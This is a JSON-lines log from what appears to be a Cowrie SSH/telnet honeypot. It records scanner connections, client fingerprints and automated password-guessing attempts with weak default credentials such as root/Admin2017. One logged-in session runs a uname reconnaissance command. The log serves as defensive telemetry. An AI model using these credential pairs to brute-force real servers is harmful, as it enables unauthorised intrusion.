{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:43.792357Z","src_ip":"91.92.42.227","session":"499493dd97e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:45.859788Z","src_ip":"91.92.42.227","session":"499493dd97e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:47.267907Z","src_ip":"91.92.42.227","session":"499493dd97e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59918,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcaeea2f243e","protocol":"ssh","message":"New connection: 91.92.42.227:59918 (10.17.0.5:22) [session: bcaeea2f243e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:50.422719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:50.776330Z","src_ip":"91.92.42.227","session":"bcaeea2f243e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:50.779387Z","src_ip":"91.92.42.227","session":"bcaeea2f243e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:52.596437Z","src_ip":"91.92.42.227","session":"bcaeea2f243e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:54.451752Z","src_ip":"91.92.42.227","session":"bcaeea2f243e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58464,"dst_ip":"10.17.0.5","dst_port":22,"session":"55ce5199e31b","protocol":"ssh","message":"New connection: 91.92.42.227:58464 (10.17.0.5:22) [session: 55ce5199e31b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:56.755527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:57.288658Z","src_ip":"91.92.42.227","session":"55ce5199e31b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:57.291952Z","src_ip":"91.92.42.227","session":"55ce5199e31b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.20369291305542,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:57.297719Z","src_ip":"172.81.62.90","session":"79c551dbdb7a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:00.252969Z","src_ip":"91.92.42.227","session":"55ce5199e31b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:01.906917Z","src_ip":"91.92.42.227","session":"55ce5199e31b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58492,"dst_ip":"10.17.0.5","dst_port":22,"session":"a85e6b53e443","protocol":"ssh","message":"New connection: 91.92.42.227:58492 (10.17.0.5:22) [session: a85e6b53e443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:03.514482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:04.253525Z","src_ip":"91.92.42.227","session":"a85e6b53e443","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:04.257136Z","src_ip":"91.92.42.227","session":"a85e6b53e443","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.492021799087524,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:04.859070Z","src_ip":"107.6.151.170","session":"578d9e7940fb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"111111","message":"login attempt [guest/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:07.349394Z","src_ip":"91.92.42.227","session":"a85e6b53e443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":49064,"dst_ip":"10.17.0.5","dst_port":22,"session":"1042cc1dac07","protocol":"ssh","message":"New connection: 27.71.230.31:49064 (10.17.0.5:22) [session: 1042cc1dac07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:08.680706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:08.709882Z","src_ip":"27.71.230.31","session":"1042cc1dac07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:08.983759Z","src_ip":"27.71.230.31","session":"1042cc1dac07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:09.384812Z","src_ip":"91.92.42.227","session":"a85e6b53e443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40267,"dst_ip":"159.203.135.109","dst_port":22,"session":"55a01d252c9d","protocol":"ssh","message":"New connection: 168.167.228.74:40267 (159.203.135.109:22) [session: 55a01d252c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:10.077972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:10.082712Z","src_ip":"168.167.228.74","session":"55a01d252c9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:10.344001Z","src_ip":"168.167.228.74","session":"55a01d252c9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53718,"dst_ip":"10.17.0.5","dst_port":22,"session":"121718d0a3fd","protocol":"ssh","message":"New connection: 91.92.42.227:53718 (10.17.0.5:22) [session: 121718d0a3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:10.713829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:11.168746Z","src_ip":"91.92.42.227","session":"121718d0a3fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:11.172874Z","src_ip":"91.92.42.227","session":"121718d0a3fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin12","message":"login attempt [root/Admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:11.439622Z","src_ip":"168.167.228.74","session":"55a01d252c9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:12.663877Z","src_ip":"91.92.42.227","session":"121718d0a3fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:12.701831Z","src_ip":"168.167.228.74","session":"55a01d252c9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2017","message":"login attempt [root/Admin2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:12.959299Z","src_ip":"27.71.230.31","session":"1042cc1dac07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:13.806995Z","src_ip":"91.92.42.227","session":"121718d0a3fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:15.542979Z","src_ip":"27.71.230.31","session":"1042cc1dac07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58444,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ca93b05ad1e","protocol":"ssh","message":"New connection: 91.92.42.227:58444 (10.17.0.5:22) [session: 1ca93b05ad1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:17.921856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:18.137504Z","src_ip":"91.92.42.227","session":"1ca93b05ad1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:18.164590Z","src_ip":"91.92.42.227","session":"1ca93b05ad1e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:20.027805Z","src_ip":"91.92.42.227","session":"1ca93b05ad1e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:21.050970Z","src_ip":"91.92.42.227","session":"1ca93b05ad1e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:21.053903Z","src_ip":"91.92.42.227","session":"1ca93b05ad1e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:21.544063Z","src_ip":"91.92.42.227","session":"1ca93b05ad1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:21.548742Z","src_ip":"91.92.42.227","session":"1ca93b05ad1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55316,"dst_ip":"10.17.0.5","dst_port":22,"session":"111f4811f0f5","protocol":"ssh","message":"New connection: 91.92.42.227:55316 (10.17.0.5:22) [session: 111f4811f0f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:24.686159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:25.139240Z","src_ip":"91.92.42.227","session":"111f4811f0f5","protocol":"ssh"}
